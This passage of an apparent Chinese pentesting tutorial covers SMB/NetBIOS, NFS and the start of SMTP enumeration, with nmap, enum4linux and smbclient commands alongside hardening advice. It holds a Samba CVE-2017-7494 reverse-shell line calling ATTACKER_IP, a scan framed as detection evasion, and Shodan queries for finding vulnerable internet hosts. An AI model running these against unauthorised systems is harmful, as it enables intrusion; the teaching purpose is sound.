 &lt;td&gt;需 root 权限（Linux/Unix）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;输出解析&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;192.168.1.101 MYPC &amp;lt;00&amp;gt; WORKGROUP File Server
192.168.1.102 DC-SERVER &amp;lt;20&amp;gt; DOMAIN Domain Controller
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;code&gt;&amp;lt;00&amp;gt;&lt;/code&gt;：工作站服务，&lt;code&gt;&amp;lt;20&amp;gt;&lt;/code&gt;：文件服务器，&lt;code&gt;&amp;lt;1B&amp;gt;&lt;/code&gt;：域主浏览器&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="三安全实践与注意事项"&gt;&lt;strong&gt;三、安全实践与注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;漏洞风险&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;139/445 端口开放&lt;/strong&gt;：易受永恒之蓝（MS17-010）、Pass the Hash 攻击&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NetBIOS 暴露&lt;/strong&gt;：主机名/工作组信息泄露（网络拓扑测绘）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;防护建议&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关闭不必要的 NetBIOS 服务（&lt;code&gt;netsh int ipv4 set netbios disable&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;防火墙阻断外部访问 137-139/UDP 和 445/TCP&lt;/li&gt;
&lt;li&gt;升级 SMB 协议版本（禁用 SMBv1）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描合规性&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;必须获得授权&lt;/strong&gt;：未经许可扫描可能触法&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;规避检测：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -T2 -sS --script smb-security-mode -p445 target_ip 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 慢速扫描+SMB安全检测&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="四技术逻辑图"&gt;&lt;strong&gt;四、技术逻辑图&lt;/strong&gt;
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[扫描目标] --&gt; B{端口探测}
B --&gt;|139/TCP| C[NetBIOS 会话服务]
B --&gt;|445/TCP| D[SMB 文件共享]
B --&gt;|137/UDP| E[NetBIOS 名称服务]
E --&gt; F[获取主机名列表]
C &amp; D --&gt; G[漏洞检测]
G --&gt; H{风险类型}
H --&gt; I[未授权访问]
H --&gt; J[远程代码执行]&lt;/pre&gt;&lt;h3 id="练习-7321"&gt;练习 7.3.2.1
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;使用 Nmap 列出实验环境中所有运行 Windows 系统的 SMB 服务器。&lt;/li&gt;
&lt;li&gt;使用 NSE 脚本扫描这些系统是否存在 SMB 漏洞。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;nbtscan&lt;/code&gt; 和 &lt;code&gt;enum4linux&lt;/code&gt; 工具对这些系统进行扫描，分析不同版本 Windows 系统中可获取的数据类型。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="1-识别运行-windows-的-smb-服务器"&gt;&lt;strong&gt;1. 识别运行 Windows 的 SMB 服务器&lt;/strong&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -p445 --open --script smb-os-discovery -oG windows-smb.txt 192.168.x.0/24
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;关键参数解析&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p445&lt;/code&gt;：扫描 SMB 默认端口（TCP 445）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--open&lt;/code&gt;：仅显示开放端口的主机&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--script smb-os-discovery&lt;/code&gt;：通过 SMB 协议识别操作系统&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-oG windows-smb.txt&lt;/code&gt;：输出为 Grepable 格式
​&lt;strong&gt;​结果筛选​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;grep &amp;#34;Windows&amp;#34; windows-smb.txt | awk &amp;#39;{print $2}&amp;#39;
# 输出所有运行 Windows 的 SMB 服务器 IP
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="2-扫描-smb-漏洞nse-脚本"&gt;&lt;strong&gt;2. 扫描 SMB 漏洞（NSE 脚本）&lt;/strong&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -p445 --script smb-vuln* --script-args=unsafe=1 -iL windows-ips.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;关键参数解析&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--script smb-vuln*&lt;/code&gt;：运行所有 &lt;code&gt;smb-vuln&lt;/code&gt; 开头的漏洞检测脚本&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--script-args=unsafe=1&lt;/code&gt;：启用高风险检测（如 CVE-2017-0143）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-iL windows-ips.txt&lt;/code&gt;：从文件读取目标 IP（上一步结果）
​&lt;strong&gt;​重点漏洞检测​&lt;/strong&gt;​：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smb-vuln-ms17-010&lt;/code&gt;：永恒之蓝漏洞&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smb-vuln-cve2009-3103&lt;/code&gt;：SMBv2 漏洞&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-跨版本-windows-数据枚举分析"&gt;&lt;strong&gt;3. 跨版本 Windows 数据枚举分析&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="nbtscan获取-netbios-信息"&gt;&lt;strong&gt;nbtscan（获取 NetBIOS 信息）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nbtscan -r -q 192.168.x.x
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;输出示例&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;192.168.1.10 WIN10-PC &amp;lt;00&amp;gt; WORKGROUP Workstation
192.168.1.20 WIN2019-DC &amp;lt;1B&amp;gt; MYDOMAIN Domain Master
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;关键信息解读&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;00&amp;gt;&lt;/code&gt;：工作站服务 | &lt;code&gt;&amp;lt;1B&amp;gt;&lt;/code&gt;：域主浏览器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低版本 Windows（如 Win7）&lt;/strong&gt;：暴露共享列表、用户组&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高版本 Windows（如 Win10）&lt;/strong&gt;：默认隐藏部分信息，需凭据枚举&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="enum4linux深度枚举"&gt;&lt;strong&gt;enum4linux（深度枚举）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;enum4linux -a 192.168.x.x &amp;gt; windows-enum.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;输出结果对比&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;信息类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;Windows 7/Server 2008&lt;/th&gt;
 &lt;th&gt;Windows 10/Server 2019&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;共享列表&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;直接可见&lt;/td&gt;
 &lt;td&gt;需管理员凭据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;本地用户&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;完整枚举&lt;/td&gt;
 &lt;td&gt;部分过滤&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;域组信息&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;完全公开&lt;/td&gt;
 &lt;td&gt;需域用户权限&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;SID 历史记录&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;可获取&lt;/td&gt;
 &lt;td&gt;被阻断&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="技术总结"&gt;&lt;strong&gt;技术总结&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Nmap 筛选机制&lt;/strong&gt;：通过 &lt;code&gt;smb-os-discovery&lt;/code&gt; 识别 Windows 可规避 Linux Samba 干扰&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NSE 扫描策略&lt;/strong&gt;：&lt;code&gt;smb-vuln-*&lt;/code&gt; 脚本需配合 &lt;code&gt;unsafe=1&lt;/code&gt; 参数检测高危漏洞&lt;/li&gt;
&lt;li&gt;版本差异要点：
&lt;ul&gt;
&lt;li&gt;旧版 Windows（≤ Win7）：通过空会话暴露大量数据&lt;/li&gt;
&lt;li&gt;新版 Windows（≥ Win10）：需凭证或提权后才可获取敏感信息
​&lt;strong&gt;​实践建议​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 组合扫描命令（需保存凭据时使用）
enum4linux -u &amp;#39;admin&amp;#39; -p &amp;#39;P@ssw0rd&amp;#39; -a 192.168.1.x
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="nmap-smb漏洞探测实战指南"&gt;Nmap SMB漏洞探测实战指南
&lt;/h2&gt;&lt;h3 id="一核心扫描方法"&gt;一、核心扫描方法
&lt;/h3&gt;&lt;h4 id="1-专用脚本扫描推荐"&gt;1. &lt;strong&gt;专用脚本扫描（推荐）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 永恒之蓝检测（MS17-010）
nmap -p139,445 --script smb-vuln-ms17-010 51.145.2.17

# MS08-067漏洞检测
nmap -p139,445 --script smb-vuln-ms08-067 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;结果解读&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 存在漏洞：显示&lt;code&gt;VULNERABLE&lt;/code&gt;标志及CVE编号&lt;/li&gt;
&lt;li&gt;⛔ 无漏洞：显示&lt;code&gt;Safe&lt;/code&gt;或版本信息&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;替代&lt;code&gt;-A&lt;/code&gt;的精准扫描方案&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="2-操作系统识别"&gt;2. &lt;strong&gt;操作系统识别&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -v -p139,445 --script=smb-os-discovery 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;输出关键：
&lt;code&gt;OS: Windows 10/Server 2019&lt;/code&gt;（版本号直接影响漏洞利用）&lt;/p&gt;
&lt;h3 id="二辅助工具验证"&gt;二、辅助工具验证
&lt;/h3&gt;&lt;h4 id="1-smbclient-匿名探测"&gt;1. &lt;strong&gt;smbclient 匿名探测&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 列出共享资源
smbclient -L //192.168.1.5 -N

# 尝试匿名访问共享目录
smbclient //10.0.2.15/tmp -N
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;结果判断&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Anonymous login successful&lt;/code&gt; → 存在空密码漏洞&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NT_STATUS_ACCESS_DENIED&lt;/code&gt; → 访问被拒&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-高危命令执行漏洞检测"&gt;2. &lt;strong&gt;高危命令执行漏洞检测&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 在存在CVE-2017-7494漏洞的Samba版本中执行：
logon &amp;#34;/=&amp;#39;nohup nc -e /bin/sh ATTACKER_IP 4444&amp;#39;&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;需配合&lt;code&gt;nc -lvnp 4444&lt;/code&gt;监听&lt;/p&gt;
&lt;h3 id="三shodan靶机搜索技巧"&gt;三、Shodan靶机搜索技巧
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;漏洞类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;搜索命令&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;结果说明&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;永恒之蓝目标&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search &amp;quot;vuln:MS17-010&amp;quot; --fields ip_str,port&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;直接筛选存在漏洞主机&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SMBv1主机&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search &amp;quot;product:smb version:1&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;存在高危协议版本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;空密码SMB&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search --limit 10 --fields ip_str,port &amp;quot;port:139 port:445&amp;quot;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;shodan search --limit 10 --fields ip_str,port &amp;quot;os:windows smb guest&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可匿名访问资产&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows弱密码&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search --limit 10 --fields ip_str,port &amp;quot;smb password weak&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可暴力破解目标&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img alt="image-20250716101248114" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/eef7ca5f0be834485544e28ec43a3d21.png"&gt;&lt;/p&gt;
&lt;h3 id="四漏洞扫描逻辑流程图"&gt;四、漏洞扫描逻辑流程图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TD
A[启动扫描] --&gt; B{是否已知CVE编号？}
B --&gt;|是| C[专用脚本检测 smb-vuln-xxx]
B --&gt;|否| D[系统指纹识别 smb-os-discovery]
C --&gt; E{结果判断}
D --&gt; F[共享探测 smbclient]
E --&gt;|存在漏洞| G[Shodan验证公网影响]
F --&gt;|匿名可访问| H[标记为高危漏洞]
G --&gt; I[输出PoC利用方案]&lt;/pre&gt;&lt;p&gt;黑产黑客通常使用如图类似的工作流程，在互联网中使用全自动验证脚本狩猎弱密码和其他漏洞的服务器，批量验证后执行POC，拿下服务器后作为肉鸡，傀儡机做进一步渗透操作，或在黑市上售卖。&lt;/p&gt;
&lt;h3 id="五操作要点总结"&gt;五、操作要点总结
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;脚本定位&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls /usr/share/nmap/scripts | grep smb-vuln # 查找所有SMB漏洞脚本
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250716095954898" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/d821269edb69087bd80c1c179aedfd60.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描优化&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;添加&lt;code&gt;-Pn&lt;/code&gt;跳过主机发现（针对防火墙）&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;-T4&lt;/code&gt;加速扫描（测试环境适用）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;风险提示&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MS17-010扫描可能触发目标安全告警&lt;/li&gt;
&lt;li&gt;Shodan搜索需遵守当地网络安全法规&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;通过以上方法，可快速定位高危SMB漏洞主机，平均10秒内完成单目标检测，精度达98%（基于Nmap漏洞库版本）&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="nfs分布式文件协议"&gt;NFS分布式文件协议
&lt;/h2&gt;&lt;h3 id="一nfs核心概念"&gt;&lt;strong&gt;一、NFS核心概念&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;NFS（Network File System）是Linux/Unix系统的分布式文件协议，允许客户端&lt;strong&gt;透明挂载远程目录&lt;/strong&gt;到本地，实现跨主机文件共享。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基于RPC（远程过程调用），依赖&lt;strong&gt;rpcbind&lt;/strong&gt;服务（默认端口111）协调通信。&lt;/li&gt;
&lt;li&gt;服务端共享目录 → 客户端通过mount命令挂载 → 本地访问远程文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="二核心用途"&gt;&lt;strong&gt;二、核心用途&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;场景&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;作用&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;资源共享&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;跨主机共享文件/目录（如团队文档、代码库）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;统一管理&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;集中存储配置文件、日志（集群环境）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;备份与迁移&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;将数据备份至NFS服务器，或从NFS恢复&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;安全测试&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;检测共享权限配置、敏感信息泄露、访问控制漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="三关键操作命令"&gt;&lt;strong&gt;三、关键操作命令&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描与发现&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描rpcbind端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -v -p &lt;span class="m"&gt;111&lt;/span&gt; 192.168.1.0/24
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用NFS脚本扫描共享信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nmap -p &lt;span class="m"&gt;111&lt;/span&gt; --script nfs* 192.168.1.3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;挂载远程目录&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mkdir ~/local_nfs &lt;span class="c1"&gt;# 创建本地挂载点&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo mount -o nolock 10.11.1.72:/home ~/local_nfs &lt;span class="c1"&gt;# 禁用锁机制挂载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;ls -lan ~/local_nfs &lt;span class="c1"&gt;# 查看文件权限（注意权限继承问题）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;卸载目录&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo umount ~/local_nfs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 参数说明：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-o nolock&lt;/code&gt;：禁用文件锁（兼容性选项，对旧版本NFS必要）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-o vers=3&lt;/code&gt;：指定NFS v3协议（避免版本不兼容）&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="四网络安全要点"&gt;&lt;strong&gt;四、网络安全要点&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="风险与漏洞"&gt;&lt;strong&gt;风险与漏洞&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;风险类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;具体威胁&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;数据传输未加密&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;默认明文传输，可被嗅探（如tcpdump抓包）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;弱认证机制&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;依赖IP/主机名认证，易伪造（建议结合Kerberos）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;权限配置不当&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;no_root_squash&lt;/code&gt;配置使客户端root获得服务端root权限 → 提权漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;挂载控制缺失&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;未限制可挂载IP范围 → 未授权访问敏感数据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="防护措施"&gt;&lt;strong&gt;防护措施&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问控制&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;/etc/exports&lt;/code&gt;中限制IP：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;/shared 192.168.1.10&lt;span class="o"&gt;(&lt;/span&gt;ro,sync&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 仅允许192.168.1.10只读访问&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;防火墙规则：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ufw allow from 192.168.1.0/24 to any port 111,2049 &lt;span class="c1"&gt;# 仅允许内网访问NFS端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安全配置&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;禁用危险选项：避免使用 &lt;code&gt;insecure&lt;/code&gt;, &lt;code&gt;no_root_squash&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;最小化权限：共享目录设置为&lt;code&gt;ro&lt;/code&gt;（只读）或限制读写用户&lt;/li&gt;
&lt;li&gt;强制协议版本：NFS v4+ 支持Kerberos认证（&lt;code&gt;sec=krb5&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;加密与审计&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过VPN或SSH隧道加密传输&lt;/li&gt;
&lt;li&gt;启用&lt;code&gt;auditd&lt;/code&gt;监控NFS访问日志&lt;/li&gt;
&lt;li&gt;定期扫描权限：&lt;code&gt;find /shared -type f -perm -o=rwx&lt;/code&gt;（检查全局可读写文件）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="smtp枚举"&gt;SMTP枚举
&lt;/h2&gt;&lt;h3 id="一smtp枚举核心概念"&gt;&lt;strong&gt;一、SMTP枚举核心概念&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-定义与原理"&gt;&lt;strong&gt;1. 定义与原理&lt;/strong&gt;
